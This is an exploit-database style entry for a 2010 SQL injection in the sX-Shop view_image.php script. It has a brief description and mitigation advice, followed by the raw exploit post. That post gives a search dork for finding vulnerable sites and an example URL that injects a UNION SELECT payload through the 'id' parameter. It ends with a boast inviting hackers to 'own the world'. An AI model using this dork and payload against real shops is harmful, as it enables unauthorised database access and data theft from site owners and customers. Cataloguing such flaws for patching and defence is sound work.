sX-Shop / view_image.php SQL Injection

vendor:

sX-Shop

by:

secret - mohammed.atta@hotmail.com

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: sX-Shop

Affected Version From: *newest version*

Affected Version To: *newest version*

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: XP - Linux

2010

sX-Shop / view_image.php SQL Injection

Discovered by secret, sX-Shop / view_image.php SQL Injection vulnerability can be exploited by sending a malicious SQL query to the vulnerable parameter 'id' in view_image.php. An attacker can use this vulnerability to gain access to the database and execute arbitrary code.

Mitigation:

Input validation should be used to prevent SQL injection attacks. Sanitize user input and use parameterized queries to prevent SQL injection.

Source

Exploit-DB raw data:

#############################################################################################################
## sX-Shop  / view_image.php SQL Injection                                          ##
## Author   : secret - mohammed.atta@hotmail.com                                   ##
## Homepage : http://swissfaking.net/                                             ##
## Date     : 05 August, 2010                                                    ##
#############################################################################################################
  ____ ____ _____ ___   ____ ______   ____ ___   ___    _  __
  / __// __// ___// _ \ / __//_  __/  /  _// _ \ / _ |  / |/ /
 _\ \ / _/ / /__ / , _// _/   / /    _/ / / , _// __ | /    /
/___//___/ \___//_/|_|/___/  /_/____/___//_/|_|/_/ |_|/_/|_/ 
                               /___/                          

####################################################
# sX-Shop / view_image.php SQL Injection
####################################################
# Discovered by : secret
# Site          : http://swissfaking.net/
# Dork          : powered by sX-Shop ; inurl:"view_image.php" intext:sX-Shop
# Vendor        : http://www.source-worx.de/
# Version       : *newest version*
# Exploit       : [site]/shop/view_image.php?id=[SQL Injection]
# Tested on     : XP - Linux

e.g. http://www.site.com/shop/view_image.php?id=416+and+1=0+Union+Select(UNEXVISIBLECOLUMN)+2+3
 
########################################################################################

#note : IRAN owns ;-)   - to all iranian Hackers in the world, add me and let's own the world ;)